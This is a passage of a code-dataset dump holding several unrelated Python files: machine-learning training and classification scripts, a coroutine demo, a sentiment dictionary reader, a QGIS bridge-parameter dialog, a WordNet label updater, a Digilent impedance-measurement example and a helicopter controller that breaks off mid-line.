range(j,len(x_support),n_train_shot)]\n x_support = x_support[change_support,:,:,:]\n change_query = []\n for j in range(15):\n change_query += [i for i in range(j,len(x_query),15)]\n x_query = x_query[change_query,:,:,:]\n\n optimizer.zero_grad()\n embedding_support, recon_support, mu_support, logvar_support = model([x_support,'support'])\n embedding_query, recon_query, mu_query, logvar_query = model([x_query,'query'])\n labels = torch.arange(n_train_way).repeat(15)\n labels = labels.type(torch.cuda.LongTensor)\n loss, logits = crit(embedding_support,recon_support, mu_support, logvar_support, x_support, embedding_query,recon_query, mu_query, logvar_query, x_query, labels)\n accuracy = count_acc(logits, labels)\n total_loss = total_loss + loss.item()\n total_acc += accuracy\n loss.backward()\n optimizer.step()\n pn_loss_list.append(total_loss)\n pn_acc_list.append(total_acc)\n\n if (epoch)%10 == 0:\n print('validation....')\n val_loss = 0\n val_acc = 0.\n for _ in range(100):\n degrees = random.choice([0])\n task = create_task(test_folders,n_val_way,n_val_shot,15)\n support_dataloader = get_data_loader(task,'../../sharedLocal/traffic',num_per_class=n_val_shot,split=\"train\",shuffle=False,rotation=degrees)\n test_dataloader = get_data_loader(task,'../../sharedLocal/traffic',num_per_class=15,split=\"test\",shuffle=False,rotation=degrees)\n\n support_images,support_labels = support_dataloader.__iter__().next()\n test_images,test_labels = test_dataloader.__iter__().next()\n\n x_support,x_support_labels = support_images.cuda(), support_labels.cuda()\n x_query,x_query_labels = test_images.cuda(), test_labels.cuda()\n\n change_support = []\n for j in range(n_val_shot):\n change_support += [i for i in range(j,len(x_support),n_val_shot)]\n x_support = x_support[change_support,:,:,:]\n change_query = []\n for j in range(15):\n change_query += [i for i in range(j,len(x_query),15)]\n x_query = x_query[change_query,:,:,:]\n\n embedding_support, recon_support, mu_support, logvar_support = model([x_support,'support'])\n embedding_query, recon_query, mu_query, logvar_query = model([x_query,'query'])\n labels = torch.arange(n_val_way).repeat(15)\n labels = labels.type(torch.cuda.LongTensor)\n# print(embedding_support.shape,recon_support.shape,mu_support.shape,x_support.shape)\n# print(embedding_query.shape,recon_query.shape,mu_query.shape,x_query.shape)\n loss, logits = crit(embedding_support,recon_support, mu_support, logvar_support, x_support, embedding_query,recon_query, mu_query, logvar_query, x_query, labels)\n acc = count_acc(logits, labels)\n #val_loss += loss.item()\n #val_acc += acc\n\n val_loss_list.append(loss.item())\n val_acc_list.append(acc)\n print(pn_acc_list[-1],val_acc_list[-1])\n\nwith open('pn_loss_list.txt','w') as f:\n for item in pn_loss_list:\n f.write('%s\\n'%item)\nwith open('pn_acc_list.txt','w') as f:\n for item in pn_acc_list:\n f.write('%s\\n'%item)\nwith open('val_loss_list.txt','w') as f:\n for item in val_loss_list:\n f.write('%s\\n'%item)\nwith open('val_acc_list.txt','w') as f:\n for item in val_acc_list:\n f.write('%s\\n'%item)\n","sub_path":"models/traffic/train_omniglot.py","file_name":"train_omniglot.py","file_ext":"py","file_size_in_byte":5614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"263499945","text":"# -*-coding:utf-8 -*-\n# 协程\n\nimport time\n\n\ndef consumer():\n res = 0\n while True:\n n = yield res\n time.sleep(1)\n print('消费了一个产品%s * %s' % (n, n))\n res = n*n\n\ndef producer(c):\n c.send(None)\n n = 0\n while n <= 5:\n n += 1\n print('生产了1个产品:%s' % n)\n r = c.send(n)\n print('消费返回 %s' % r)\n\nc = consumer()\n\nproducer(c)\n\n","sub_path":"basic/coroutine_sample.py","file_name":"coroutine_sample.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"298687193","text":"#辞書ファイルを読み込むテスト\ndef read_dictionary():\n # 単語による判定\n file = open(\"dict/dict1.txt\",\"r\")\n read_data = {}\n for line in file:\n read_line = line.split('\\t')\n read_data[read_line[0]] = read_line[1]\n file.close()\n return read_data\n\n\ndef enp_hantei(yousos):\n dictionary = read_dictionary()\n texts = yousos\n print('-----------感情解析-----------')\n kanjou = 0\n count = 0\n for text in texts:\n if text in dictionary:\n print(text+'\\t'+dictionary[text])\n if dictionary[text] == 'ポジティブ':\n kanjou += 1\n count += 1\n elif dictionary[text] == 'ネガティブ':\n kanjou -= 1\n count += 1\n else: \n print(text+'\\t'+'none')\n if kanjou == 0:\n r = '感情数値:'+str(0)\n else:\n suuchi = kanjou/count\n r = '感情数値:'+str(suuchi)\n return(r)","sub_path":"src/read_dict.py","file_name":"read_dict.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"400310379","text":"# -*- coding: utf-8 -*-\n\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.feature_extraction.text import TfidfTransformer \nfrom sklearn.feature_extraction.text import CountVectorizer \nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.metrics import mean_squared_error, accuracy_score\nfrom sklearn.svm import SVR\nfrom sklearn import linear_model\nfrom sklearn.feature_selection import chi2\nfrom sklearn.feature_selection import SelectKBest\nfrom scipy.sparse import csr_matrix, vstack, hstack\nfrom sklearn.ensemble import (RandomTreesEmbedding, RandomForestClassifier,\n GradientBoostingClassifier)\nfrom sklearn.cross_validation import train_test_split \nimport matplotlib.pyplot as plt \n\ndef read_data(filename):\n df1 = pd.read_csv(filename, header = None, encoding = \"utf8\")\n np1 = np.array(df1)\n data = np1[:, 0:-1]\n label = np1[:, -1]\n return data, label.astype('float32')\n \n \nif __name__ == \"__main__\":\n data, label = read_data(\"../input/data_clean.csv\")\n data_combine = np.hstack((data[:, 0], data[:, 1]))\n vectorizer = CountVectorizer()\n transformer = TfidfTransformer()\n label_up = np.hstack((label, label)).astype(\"float32\")\n similarity = np.zeros((data.shape[0], 1))\n tfidf = transformer.fit_transform(vectorizer.fit_transform(data_combine))\n question = csr_matrix(tfidf[0:data.shape[0]])\n answer = csr_matrix(tfidf[data.shape[0]:])\n data_sparse = hstack([question, answer])\n plt.figure()\n \n \n similarity_all = cosine_similarity(question, answer)\n for i in range(similarity_all.shape[0]):\n similarity[i] = similarity_all[i, i]\n\n for i in range(data.shape[0]):\n try:\n tfidf = transformer.fit_transform(vectorizer.fit_transform(data[i, :]))\n similarity[i] = (cosine_similarity(tfidf)[0, 1])\n except:\n similarity[i] = 0\n label[i] = 0\n# print(data[i])\n \n train_X,test_X, train_y, test_y = train_test_split(similarity, label, test_size = 0.2, random_state = 0) \n\n mse_train = []\n mse_test = []\n for model in ['logistic', 'linear', 'GBDT', 'NN']:\n\n if model == 'NN':\n clf = MLPClassifier(solver='lbfgs', alpha=1e-5, \n hidden_layer_sizes=(50, 10), random_state=1)\n n_estimator = 10 \n# clf = SVR(C=1.0, epsilon=0.2)\n if model == 'linear':\n clf = linear_model.LinearRegression()\n if model == 'logistic':\n clf = linear_model.LogisticRegression()\n if model == 'GBDT':\n clf = GradientBoostingClassifier(n_estimators=n_estimator)\n clf.fit(train_X, train_y) \n# predict_train = clf.predict(train_X)\n# mse_train.append(mean_squared_error(predict_train, train_y))\n# print(\"error in train set\", mean_squared_error(predict_train, train_y))\n predict_test = clf.predict(test_X)\n# mse_test.append(mean_squared_error(predict_test, test_y))\n # print(\"error in test set\", mean_squared_error(predict_test, test_y))\n# plt.plot(range(len(mse_train)), mse_train, label = 'train')\n print(\"accuracy of {} is \\t:{}\".format(model, mean_squared_error(predict_test, test_y)))\n# plt.plot(range(len(mse_test)), mse_test, label = model)\n# plt.ylim(0.4,1.2)\n# plt.legend()\n# plt.show()\n ","sub_path":"code/tfidf_similiar.py","file_name":"tfidf_similiar.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"304367126","text":"# -*- coding: utf-8 -*-\n\n# FLO-2D Preprocessor tools for QGIS\n\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version\n\nfrom qgis.PyQt.QtCore import Qt\nfrom ..flo2dobjects import InletRatingTable\nfrom qgis.PyQt.QtWidgets import QInputDialog, QTableWidgetItem, QDialogButtonBox, QApplication\nfrom qgis.PyQt.QtGui import QColor\nfrom .ui_utils import load_ui, set_icon\nfrom ..geopackage_utils import GeoPackageUtils\nfrom ..user_communication import UserCommunication\nfrom ..utils import m_fdata, float_or_zero, int_or_zero, is_number\nfrom .table_editor_widget import StandardItemModel, StandardItem, CommandItemEdit\nfrom math import isnan\n\nuiDialog, qtBaseClass = load_ui(\"bridges\")\n\n\nclass BridgesDialog(qtBaseClass, uiDialog):\n def __init__(self, iface, lyrs, structName):\n qtBaseClass.__init__(self)\n uiDialog.__init__(self)\n self.iface = iface\n self.lyrs = lyrs\n self.structName = structName\n self.structFid = 0\n self.setupUi(self)\n self.uc = UserCommunication(iface, \"FLO-2D\")\n self.con = None\n self.gutils = None\n\n self.setup_connection()\n self.populate_bridge()\n\n def setup_connection(self):\n con = self.iface.f2d[\"con\"]\n if con is None:\n return\n else:\n self.con = con\n self.gutils = GeoPackageUtils(self.con, self.iface)\n\n def populate_bridge(self):\n struct_fid = self.gutils.execute(\"SELECT fid FROM struct WHERE structname = ?;\", (self.structName,)).fetchone()\n if struct_fid:\n self.structFid = struct_fid[0]\n if not self.structFid:\n self.uc.warn_bar(\"No data for structure \" + structName)\n else:\n bridge_qry = \"SELECT * FROM bridge_variables WHERE struct_fid = ?;\"\n row = self.gutils.execute(bridge_qry, (self.structFid,)).fetchone()\n if not row:\n insert_bridge_sql = \"\"\"INSERT INTO bridge_variables\n (struct_fid, IBTYPE, COEFF, C_PRIME_USER, KF_COEF, \n KWW_COEF, KPHI_COEF, KY_COEF, KX_COEF, KJ_COEF, \n BOPENING, BLENGTH, BN_VALUE, UPLENGTH12, LOWCHORD,\n DECKHT, DECKLENGTH, PIERWIDTH, SLUICECOEFADJ, ORIFICECOEFADJ, \n COEFFWEIRB, WINGWALL_ANGLE, PHI_ANGLE, LBTOEABUT, RBTOEABUT)\n VALUES (?, 1, 0.1, 0.5, 0.9, \n 1.0, 0.7, 0.85, 1.0, 0.6, \n 0.0, 0.0, 0.030, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, \n 2.65, 30, 0, 0, 0);\"\"\"\n self.gutils.execute(insert_bridge_sql, (self.structFid,))\n row = self.gutils.execute(bridge_qry, (self.structFid,)).fetchone()\n\n self.IBTYPE_cbo.setCurrentIndex(int_or_zero(row[2] - 1))\n self.COEFF_dbox.setValue(float_or_zero(row[3]))\n self.C_PRIME_USER_dbox.setValue(float_or_zero(row[4]))\n self.KF_COEF_dbox.setValue(float_or_zero(row[5]))\n self.KWW_COEF_dbox.setValue(float_or_zero(row[6]))\n self.KPHI_COEF_dbox.setValue(float_or_zero(row[7]))\n self.KY_COEF_dbox.setValue(float_or_zero(row[8]))\n self.KX_COEF_dbox.setValue(float_or_zero(row[9]))\n self.KJ_COEF_dbox.setValue(float_or_zero(row[10]))\n self.BOPENING_dbox.setValue(float_or_zero(row[11]))\n self.BLENGTH_dbox.setValue(float_or_zero(row[12]))\n self.BN_VALUE_dbox.setValue(float_or_zero(row[13]))\n self.UPLENGTH12_dbox.setValue(float_or_zero(row[14]))\n self.LOWCHORD_dbox.setValue(float_or_zero(row[15]))\n self.DECKHT_dbox.setValue(float_or_zero(row[16]))\n self.DECKLENGTH_dbox.setValue(float_or_zero(row[17]))\n self.PIERWIDTH_dbox.setValue(float_or_zero(row[18]))\n self.SLUICECOEFADJ_dbox.setValue(float_or_zero(row[19]))\n self.ORIFICECOEFADJ_dbox.setValue(float_or_zero(row[20]))\n self.COEFFWEIRB_dbox.setValue(float_or_zero(row[21]))\n self.WINGWALL_ANGLE_dbox.setValue(float_or_zero(row[22]))\n self.PHI_ANGLE_dbox.setValue(float_or_zero(row[23]))\n self.LBTOEABUT_dbox.setValue(float_or_zero(row[24]))\n self.RBTOEABUT_dbox.setValue(float_or_zero(row[25]))\n\n def save_bridge_variables(self):\n \"\"\"\n Save changes to bridge variables.\n \"\"\"\n\n try:\n update_qry = \"\"\"\n UPDATE bridge_variables\n SET \n IBTYPE = ?,\n COEFF = ?,\n C_PRIME_USER = ?,\n KF_COEF = ?,\n KWW_COEF = ?,\n KPHI_COEF = ?,\n KY_COEF = ?,\n KX_COEF = ?,\n KJ_COEF = ?,\n BOPENING = ?,\n BLENGTH = ?,\n BN_VALUE = ?,\n UPLENGTH12 = ?,\n LOWCHORD = ?,\n DECKHT = ?,\n DECKLENGTH = ?,\n PIERWIDTH = ?,\n SLUICECOEFADJ = ?,\n ORIFICECOEFADJ = ?,\n COEFFWEIRB = ?,\n WINGWALL_ANGLE = ?,\n PHI_ANGLE = ?,\n LBTOEABUT = ?,\n RBTOEABUT = ?\n WHERE struct_fid = ? ; \"\"\"\n\n self.gutils.execute(\n update_qry,\n (\n self.IBTYPE_cbo.currentIndex() + 1,\n self.COEFF_dbox.value(),\n self.C_PRIME_USER_dbox.value(),\n self.KF_COEF_dbox.value(),\n self.KWW_COEF_dbox.value(),\n self.KPHI_COEF_dbox.value(),\n self.KY_COEF_dbox.value(),\n self.KX_COEF_dbox.value(),\n self.KJ_COEF_dbox.value(),\n self.BOPENING_dbox.value(),\n self.BLENGTH_dbox.value(),\n self.BN_VALUE_dbox.value(),\n self.UPLENGTH12_dbox.value(),\n self.LOWCHORD_dbox.value(),\n self.DECKHT_dbox.value(),\n self.DECKLENGTH_dbox.value(),\n self.PIERWIDTH_dbox.value(),\n self.SLUICECOEFADJ_dbox.value(),\n self.ORIFICECOEFADJ_dbox.value(),\n self.COEFFWEIRB_dbox.value(),\n self.WINGWALL_ANGLE_dbox.value(),\n self.PHI_ANGLE_dbox.value(),\n self.LBTOEABUT_dbox.value(),\n self.RBTOEABUT_dbox.value(),\n self.structFid,\n ),\n )\n\n return True\n except Exception as e:\n QApplication.restoreOverrideCursor()\n self.uc.show_error(\n \"ERROR 030220.0743: update of hydraulic structure bridge variables failed!\"\n + \"\\n__________________________________________________\",\n e,\n )\n return False\n pass\n","sub_path":"flo2d/gui/dlg_bridges.py","file_name":"dlg_bridges.py","file_ext":"py","file_size_in_byte":7594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"172432071","text":"##\n## update the labels \n##\n## id ss_id lang_id label\n## \n## FIXME: not checking for confidence\n##\n\nimport sys, sqlite3\nfrom warnings import warn\n\nfrom collections import defaultdict as dd\n\n# It takes one argument: the name of the db\nif (len(sys.argv) < 2):\n sys.stderr.write('You need to give the name of the DB\\n')\n sys.exit(1)\nelse:\n u = sys.argv[0]\n dbfile = sys.argv[1]\n\n\n# dbfile = \"omw.db\"\ncon = sqlite3.connect(dbfile)\nc = con.cursor()\n###\n### get the frequency (from sm)\n###\nsfreq=dd(int)\nc.execute(\"\"\"SELECT id FROM smt WHERE tag='freq'\"\"\")\nr = c.fetchone()\n#print (r[0])\nif r:\n c.execute(\"\"\"SELECT s_id, sml_id FROM sm WHERE smt_id=?\"\"\", str(r[0]))\n for s_id, sml_id in c:\n sfreq[s_id]=sml_id\n \n###\n### get the senses (from sm)\n###\n\nc.execute(\"\"\"\nSELECT s_id, ss_id, lemma, lang_id\n FROM (SELECT w_id, canon, ss_id, s_id \n FROM (SELECT id as s_id, ss_id, w_id FROM s) \n JOIN w ON w_id = w.id ) \n JOIN f ON canon = f.id\n\"\"\")\n\nsenses =dd(lambda: dd(list))\n#senses[ss_id][lang_id]=[(ls_id, lemma, freq), ...]\nforms = dd(lambda: dd(int))\n#forms[lang][word] = freq\n\nlangs=set()\neng_id=1 ### we know this :-)\nfor (s_id, ss_id, lemma, lang_id) in c:\n senses[ss_id][lang_id].append((s_id, lemma, sfreq[s_id]))\n forms[lang_id][lemma] += 1\n langs.add(lang_id)\n #print (s_id, ss_id, lemma, lang_id)\n\n\n###\n### sort the things\n### prefer frequent sense; infrequent form; short; alphabetical\n \nfor ss in senses:\n for l in senses[ss]:\n senses[ss][l].sort(key=lambda x: (-x[2], ### sense freq (freq is good)\n forms[l][x[1]], ### uniqueness (freq is bad) \n len(x[1]), ### length (short is good)\n x[1])) ### lemma (so it is the same)\n# print(ss, l, \", \".join(\"{} {}-{}\".format(lm,f, forms[l][lm])\n# for (s,lm,f) in senses[ss][l]))\n\n# print(\"==================================\")\n\n#label[ss_id][lang_id] = label || '?????'\n#\n# make the labels\n#\n\nlabel = dd(lambda: dd(str))\n\nlgs=sorted(langs)\n\nvalues=list()\nfor ss in senses:\n for l in lgs:\n if senses[ss][l]:\n label[ss][l]=senses[ss][l][0][1]\n else:\n for lx in lgs: ### start with eng and go through till you find one\n ##print (\"Looking elsewhere\", ss, l, lx,senses[ss][lx])\n if senses[ss][lx]:\n label[ss][l]=senses[ss][lx][0][1]\n break\n else:\n label[ss][l]=\"?????\"\n values.append((ss, l, label[ss][l]))\n #print(\"V\", ss, l, label[ss][l])\n###\n### write the labels (delete old ones first)\n###\nc.execute(\"\"\"DELETE FROM label\"\"\")\nc.executemany(\"\"\"INSERT INTO label(ss_id, lang_id, label, u) \nVALUES (?,?,?,\"omw\")\"\"\", values)\n \ncon.commit() \n\n\n","sub_path":"omw/bin/update-label.py","file_name":"update-label.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"62960608","text":"\"\"\"\n DWF Python Example\n Author: Digilent, Inc.\n Revision: 2019-07-12\n\n Requires: \n Python 2.7, 3\n\"\"\"\n\nfrom ctypes import *\nfrom dwfconstants import *\nimport math\nimport time\nimport sys\nimport numpy\nimport matplotlib.pyplot as plt\n\nif sys.platform.startswith(\"win\"):\n dwf = cdll.LoadLibrary(\"dwf.dll\")\nelif sys.platform.startswith(\"darwin\"):\n dwf = cdll.LoadLibrary(\"/Library/Frameworks/dwf.framework/dwf\")\nelse:\n dwf = cdll.LoadLibrary(\"libdwf.so\")\n\nversion = create_string_buffer(16)\ndwf.FDwfGetVersion(version)\nprint(\"DWF Version: \"+str(version.value))\n\nhdwf = c_int()\nszerr = create_string_buffer(512)\nprint(\"Opening first device\")\ndwf.FDwfDeviceOpen(c_int(-1), byref(hdwf))\n\nif hdwf.value == hdwfNone.value:\n dwf.FDwfGetLastErrorMsg(szerr)\n print(str(szerr.value))\n print(\"failed to open device\")\n quit()\n\n# this option will enable dynamic adjustment of analog out settings like: frequency, amplitude...\ndwf.FDwfDeviceAutoConfigureSet(hdwf, c_int(3)) \n\nsts = c_byte()\nsteps = 151\nstart = 1e2\nstop = 1e5\nreference = 1e3\namplitude = 1\n\nt1 = c_double()\nt2 = c_double()\n\nprint(\"Frequency: \"+str(start)+\" Hz ... \"+str(stop/1e3)+\" kHz Steps: \"+str(steps))\ndwf.FDwfAnalogImpedanceReset(hdwf)\ndwf.FDwfAnalogImpedanceModeSet(hdwf, c_int(0)) # 0 = W1-C1-DUT-C2-R-GND, 1 = W1-C1-R-C2-DUT-GND, 8 = AD IA adapter\ndwf.FDwfAnalogImpedanceReferenceSet(hdwf, c_double(reference)) # reference resistor value in Ohms\ndwf.FDwfAnalogImpedanceFrequencySet(hdwf, c_double(start)) # frequency in Hertz\ndwf.FDwfAnalogImpedanceAmplitudeSet(hdwf, c_double(amplitude)) # 1V amplitude = 2V peak2peak signal\ndwf.FDwfAnalogImpedanceConfigure(hdwf, c_int(1)) # start\ntime.sleep(2)\n\nrgHz = [0.0]*steps\nrgGaC2 = [0.0]*steps\nrgPhC2 = [0.0]*steps\nrgCs = [0.0]*steps\nfor i in range(steps):\n hz = stop * pow(10.0, 1.0*(1.0*i/(steps-1)-1)*math.log10(stop/start)) # exponential frequency steps\n rgHz[i] = hz\n dwf.FDwfAnalogImpedanceFrequencySet(hdwf, c_double(hz)) # frequency in Hertz\n time.sleep(0.01) \n dwf.FDwfAnalogImpedanceStatus(hdwf, None) # ignore last capture since we changed the frequency\n while True:\n if dwf.FDwfAnalogImpedanceStatus(hdwf, byref(sts)) == 0:\n dwf.FDwfGetLastErrorMsg(szerr)\n print(str(szerr.value))\n quit()\n if sts.value == 2:\n break\n gain2 = c_double()\n phase2 = c_double()\n dwf.FDwfAnalogImpedanceStatusInput(hdwf, c_int(1), byref(gain2), byref(phase2)) # relative to Channel 1, C1/C#\n rgGaC2[i] = 20.0*math.log10(abs(gain2.value-1.0))\n rgPhC2[i] = phase2.value*180/math.pi\n cs = c_double()\n dwf.FDwfAnalogImpedanceStatusMeasure(hdwf, DwfAnalogImpedanceSeriesCapactance, byref(cs)) \n rgCs[i] = cs.value\n \n\ndwf.FDwfAnalogImpedanceConfigure(hdwf, c_int(0)) # stop\ndwf.FDwfDeviceClose(hdwf)\n\n\nplt.subplot(311)\nplt.plot(rgHz, rgGaC2, color='blue')\nax = plt.gca()\nax.set_title(\"{0:.2f}Hz : {1:.2f}dB {2:.2f}* {3:.2f}nF\".format(rgHz[0], rgGaC2[0], rgPhC2[0], rgCs[0]*1e9))\nax.set_xscale('log')\nplt.subplot(312)\nplt.plot(rgHz, rgPhC2)\nax = plt.gca()\nax.set_xscale('log')\nplt.subplot(313)\nplt.plot(rgHz, rgCs)\nax = plt.gca()\nax.set_xscale('log')\nplt.show()\n\n","sub_path":"py/AnalogImpedance_Input.py","file_name":"AnalogImpedance_Input.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"80808739","text":"from helicontrollers.AbstractController import AbstractController\nfrom helicontrollers.util import ModelType, compute_feed_forward_flatness\nfrom gui.ParameterFrame import ParamEnum, ParamFloatArray\nimport control as ctr\nimport numpy as np\n\nfrom ModelConstants import OriginalConstants as mc\nfrom numpy.ma import cos, sin\n\nL1 = mc.l_p\nL2 = mc.g * (mc.l_c * mc.m_c - 2 * mc.l_h * mc.m_p)\nL3 = mc.l_h\nL4 = mc.l_h\n\nJp = 2 * mc.m_p * mc.l_p ** 2\nJe = mc.m_c * mc.l_c ** 2 + 2 * mc.m_p * mc.l_h ** 2\nJl = mc.m_c * mc.l_c ** 2 + 2 * mc.m_p * (mc.l_h ** 2 + mc.l_p ** 2)\n\n#ToDo Unite these calculations for the controller with the other flatness-based formulas\n\n\ndef getLinearizedMatrices(model_type: ModelType, operating_point, Vf_op, Vb_op):\n \"\"\"Computes the matrices of the linearized model at the given operating point.\n\n :param model_type: the type of model that should be linearized\n :param operating_point: list of state variables (p, e, lambda, dp, de, dlambda)\n :param Vf_op: value of Vf for linearization\n :param Vb_op: value of Vb for linearization\"\"\"\n\n p_op, e_op, lamb_op, dp_op, de_op, dlamb_op = operating_point\n\n # Vf_op, Vb_op = compute_feed_forward_flatness(e_and_derivatives, lambda_and_derivatives)\n Vs_op = Vf_op + Vb_op\n Vd_op = Vf_op - Vb_op\n\n if model_type == ModelType.EASY:\n A = np.array([[0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0],\n [-L3 * Vs_op * sin(p_op) / Je, -L2 * sin(e_op) / Je, 0, 0, 0, 0],\n [L4 * Vs_op * cos(p_op) * cos(e_op) / Jl, 0, 0, 0, 0, 0]])\n elif model_type == ModelType.FRICTION:\n A = np.array([[0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1],\n [0, 0, 0, -mc.mu_phi / Jp, 0, 0],\n [-L3 * Vs_op * sin(p_op) / Je, -L2 * sin(e_op) / Je, 0, 0, -mc.mu_eps / Je, 0],\n [L4 * Vs_op * cos(p_op) * cos(e_op) / Jl, -L4 * Vs_op * sin(p_op) * sin(e_op) / Jl, 0, 0, 0, -mc.mu_lamb / Jl]])\n elif model_type == ModelType.CENTRIPETAL:\n A = np.array([[0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 1],\n [-(de_op ** 2 - dlamb_op ** 2 * cos(e_op) ** 2) * sin(p_op) ** 2 + (de_op ** 2 - dlamb_op ** 2 * cos(e_op) ** 2) * cos(p_op) ** 2, 2 * dlamb_op ** 2 * sin(p_op) * sin(e_op) * cos(p_op) * cos(e_op), 0, -mc.mu_phi / Jp, 2 * de_op * sin(p_op) * cos(p_op), -2 * dlamb_op * sin(p_op) * cos(p_op) * cos(e_op) ** 2],\n [-L3 * Vs_op * sin(p_op) / Je, dlamb_op ** 2 * sin(e_op) ** 2 - dlamb_op ** 2 * cos(e_op) ** 2 - L2 * sin(e_op) / Je, 0, 0, -mc.mu_eps / Je, -2 * dlamb_op * sin(e_op) * cos(e_op)],\n [L4 * Vs_op * cos(p_op) * cos(e_op) / Jl, -L4 * Vs_op * sin(p_op) * sin(e_op) / Jl, 0, 0, 0, -mc.mu_lamb / Jl]])\n\n B = np.array([[0, 0],\n [0, 0],\n [0, 0],\n [L1 / Jp, -L1 / Jp],\n [L3 / Je * cos(p_op), L3 / Je * cos(p_op)],\n [L4 * sin(p_op) * cos(e_op) / Jl, L4 * sin(p_op) * cos(e_op) / Jl]])\n\n return A, B, Vf_op, Vb_op\n\n\ndef get_p_and_first_derivative(model_type: ModelType, e_and_derivatives, lambda_and_derivatives):\n if model_type == ModelType.EASY:\n return get_p_and_first_derivative_simple(model_type, e_and_derivatives, lambda_and_derivatives)\n elif model_type == ModelType.CENTRIPETAL:\n return get_p_and_first_derivative_centripetal(model_type, e_and_derivatives, lambda_and_derivatives)\n else:\n raise NotImplementedError(\"get_p_and_first_derivative is not implemented for other model types than EASY and CENTRIPETAL.\")\n\ndef get_p_and_first_derivative_centripetal(model_type: ModelType, e_and_derivatives, lambda_and_derivatives):\n \"\"\"copied from util.compute_pitch_and_inputs_flatness_centripetal\"\"\"\n e = e_and_derivatives[0]\n de1 = e_and_derivatives[1]\n de2 = e_and_derivatives[2]\n de3 = e_and_derivatives[3]\n de4 = e_and_derivatives[4]\n\n l = lambda_and_derivatives[0]\n dl1 = lambda_and_derivatives[1]\n dl2 = lambda_and_derivatives[2]\n dl3 = lambda_and_derivatives[3]\n dl4 = lambda_and_derivatives[4]\n\n a = Jl * dl2\n b = mc.mu_lamb * dl1\n c = cos(e)\n d = Je * de2\n e_ = mc.mu_eps * de1\n f = Je * cos(e) * sin(e) * dl1**2\n g = -L2 * cos(e)\n\n da1 = Jl * dl3\n db1 = mc.mu_lamb * dl2\n dc1 = -sin(e) * de1\n dd1 = Je * de3\n de_1 = mc.mu_eps * de2\n # f\n k = cos(e) * sin(e)\n l_ = dl1**2\n dk1 = de1 * (cos(e)**2 - sin(e)**2)\n dl_1 = 2 * dl1 * dl2\n df1 = Je * (dk1 * l_ + k * dl_1)\n dg1 = L2 * sin(e) * de1\n\n da2 = Jl * dl4\n db2 = mc.mu_lamb * dl3\n dc2 = -cos(e) * de1 ** 2 - sin(e) * de2\n dd2 = Je * de4\n de_2 = mc.mu_eps * de3\n # f\n dk2 = de2 * (cos(e)**2 - sin(e)**2) - 4 * sin(e) * cos(e) * de1 **2\n dl2 = 2 * (dl2**2 + dl1 * dl3)\n df2 = Je * (dk2 * l + 2*dk1 *dl1 + k * dl2)\n dg2 = L2 * (cos(e) * de1**2 + sin(e) * de2)\n\n h = a+b\n i = d + e_ + f + g\n j = c * i\n\n dh1 = da1 + db1\n di1 = dd1 + de_1 + df1 + dg1\n dj1 = dc1 * i + c * di1\n\n dh2 = da2 + db2\n di2 = dd2 + de_2 + df2 + dg2\n dj2 = dc2 * i + 2*dc1*di1 + c * di2\n\n A = h / j\n dA1 = (dh1 * j - h * dj1) / (j ** 2)\n dA2 = ((dh2 * j - h * dj2) * j - (dh1 *j -h * dj1) * 2 * dj1) / (j**3)\n\n x = (L3/L4) * A\n dx1 = (L3/L4) * dA1\n dx2 = (L3/L4) * dA2\n\n # p = arctan((L3/L4) * A)\n # dp1 = (L3 / L4) * 1/(1+((L3/L4) * A)**2) * dA1\n # dp2 = (L3 / L4) * (dA2 * (1+((L3/L4) * A)**2) - (L3/L4) * dA1**2) / ((1+((L3/L4) * A)**2)**2)\n p = np.arctan(x)\n dp1 = dx1/(1+x**2)\n return p, dp1\n\n\n\ndef get_p_and_first_derivative_simple(model_type: ModelType, e_and_derivatives, lambda_and_derivatives):\n \"Computes p and dp from the flat output and its derivatives.\"\n if model_type != ModelType.EASY:\n print(\"model_type = \" + str(model_type))\n raise NotImplementedError(\"get_p_and_first_derivative is not implemented for other model types than EASY.\")\n\n p = np.arctan((Jl * L3 * lambda_and_derivatives[2]) /\n (L4 * cos(e_and_derivatives[0]) *(Je * e_and_derivatives[2] - L2 * cos(e_and_derivatives[0]))))\n # the following part is partly copied from compute_feed_forward_flatness\n e = e_and_derivatives[0]\n de1 = e_and_derivatives[1]\n de2 = e_and_derivatives[2]\n de3 = e_and_derivatives[3]\n de4 = e_and_derivatives[4]\n\n l = lambda_and_derivatives[0]\n dl1 = lambda_and_derivatives[1]\n dl2 = lambda_and_derivatives[2]\n dl3 = lambda_and_derivatives[3]\n dl4 = lambda_and_derivatives[4]\n\n b = L3 * Jl * dl2\n c = L4 * cos(e)\n d = Je * de2 - L2 * cos(e)\n a = b * c / d\n\n db1 = L3 * Jl * dl3\n db2 = L3 * Jl * dl4\n dc1 = - L4 * sin(e) * de1\n dc2 = - L4 * (cos(e) * de1 ** 2 + sin(e) * de2)\n dd1 = Je * de3 + L2 * sin(e) * de1\n dd2 = Je * de4 + L2 * (cos(e) * de1 ** 2 + sin(e) * de2)\n f = db1 * c * d\n g = dc1 * d + c * dd1\n h = c * c * d * d\n da1 = (f - b * g) / 